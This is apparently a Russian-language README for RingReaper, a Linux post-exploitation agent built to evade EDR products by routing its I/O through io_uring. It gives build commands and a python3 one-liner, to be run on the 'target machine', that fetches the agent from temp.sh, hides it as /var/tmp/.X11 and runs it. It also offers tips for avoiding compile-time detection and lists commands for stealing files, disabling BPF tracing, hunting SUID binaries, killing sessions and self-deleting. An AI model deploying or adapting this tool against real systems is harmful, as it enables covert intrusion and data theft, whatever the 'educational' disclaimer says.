
Linux-агент пост-эксплуатации, который использует io_uring для скрытого обхода обнаружения EDR, избегая традиционных системных вызовов.
RingReaper — это простой пост-эксплуатационный агент для Linux, предназначенный для тех, кому нужно действовать скрытно, минимизируя шансы быть обнаруженным EDR-решениями. Идея проекта заключалась в использовании io_uring — нового асинхронного интерфейса ввода-вывода в ядре Linux — для обхода традиционных системных вызовов, которые большинство EDR-решений склонны отслеживать или хукать.
На практике RingReaper заменяет такие вызовы, как read, write, recv, send, connect и другие, асинхронными операциями ввода-вывода (io_uring_prep_*), снижая подверженность хукам и трассировке событий, обычно собираемых стандартизированным образом продуктами безопасности.
ПРИМЕЧАНИЕ: Некоторые функции RingReaper по-прежнему полагаются на традиционные вызовы, такие как чтение каталогов (
opendir,readdir) или разрешение символических ссылок (readlink), поскольку io_uring пока не полностью поддерживает такие операции нативно. Тем не менее, во время моих тестов эти вызовы не вызывали алертов на протестированных EDR, именно потому, что они находятся вне отслеживаемых путей сетевого ввода-вывода.
В целом RingReaper создан, чтобы максимально избегать традиционных вызовов, и даже в тех случаях, когда приходилось их использовать, он демонстрировал отличные возможности обхода, без алертов и обнаружений со стороны обычных агентов безопасности.
Полную и подробную статью читайте по адресу:
https://matheuzsecurity.github.io/hacking/evading-linux-edrs-with-io-uring/
Автор: https://www.linkedin.com/in/mathsalves/
Rootkit Researchers
В RingReaper весь трафик данных, включая управляющие команды, загрузку и скачивание, должен проходить через io_uring. Это также гарантирует, что наиболее чувствительные операции остаются вне поля зрения хуков и EDR-мониторинга, основанного на традиционных вызовах.
RingReaper был спроектирован с нуля для обхода EDR-мониторинга. Многие решения безопасности строят свои детекторы на перехвате классических системных вызовов (read, recv, send, connect) на уровне ядра. Поскольку io_uring — относительно новый и слабо интегрирован в конвейер телеметрии этих продуктов, он часто остаётся незамеченным большинством агентов, что позволяет проводить C2-сессии и эксфильтрацию данных без срабатывания алертов.
Даже функции, которые всё ещё опираются на старые системные вызовы (например, чтение каталогов), оставались достаточно незаметными, чтобы не вызывать тревог.
liburingПротестировано ТОЛЬКО на следующих версиях ядра:
sudo apt install liburing-dev -y
gcc agent.c -o agent -luring -O2 -s -static
В ходе тестирования я заметил, что EDR обнаруживает компиляцию agent.c, отслеживая использование GCC в реальном времени (лучше не использовать wget/curl). Чтобы обойти это, я скомпилировал агент статически у себя, отправил готовый бинарник через temp.sh и использовал Python на целевой машине для загрузки и запуска. Этот приём сработал без предупреждений.
Сервер (атакующая машина) :
curl -F "file=@agent" https://temp.sh/uploadpython3 server.py --ip IP --port 443Агент (целевая машина) :
python3 -c "import urllib.request,os,subprocess; u=urllib.request.Request('http://temp.sh/xxxx/stealth_agent',method='POST'); d='/var/tmp/.X11'; open(d,'wb').write(urllib.request.urlopen(u).read()); os.chmod(d,0o755); subprocess.Popen([d]);"Версия 2.0:
Не стесняйтесь отправлять pull request и вносить вклад в проект. Любые ошибки в RingReaper — пожалуйста, создайте issue и сообщите нам.
Этот код был разработан исключительно в образовательных целях, для исследований и контролируемых демонстраций техник обхода. Любое использование вне авторизованных сред или в злонамеренных целях строго запрещено и полностью является ответственностью пользователя. Несанкционированное или незаконное использование может нарушать местные, национальные или международные законы.
| Команда | Описание | Бэкенд |
|---|
get | Получить файлы с целевой машины | 100% io_uring |
put | Загрузка файлов (использует recv на стороне агента) | 100% io_uring |
killbpf | Отключить трассировку, удалить файлы /sys/fs/bpf и завершить процессы, использующие bpf-map | традиционные вызовы + io_uring |
users | Список вошедших пользователей через чтение utmp | 100% io_uring |
ss / netstat | Список TCP-соединений из /proc/net/tcp | 100% io_uring |
privesc | Поиск SUID-бинарников с помощью statx | 100% io_uring |
ps | Список процессов (использует opendir, readdir) | традиционные вызовы + io_uring |
kick | Завершение pts-сессий (использует opendir, readdir, kill, readlink) | традиционные вызовы + io_uring |
me | Показать PID/TTY (getpid, ttyname) | традиционные вызовы + io_uring |
selfdestruct | Удалить текущий бинарник (использует readlink) | традиционные вызовы + io_uring |
exit | Завершить соединение и выйти | 100% io_uring |
help | Показать справку | 100% io_uring |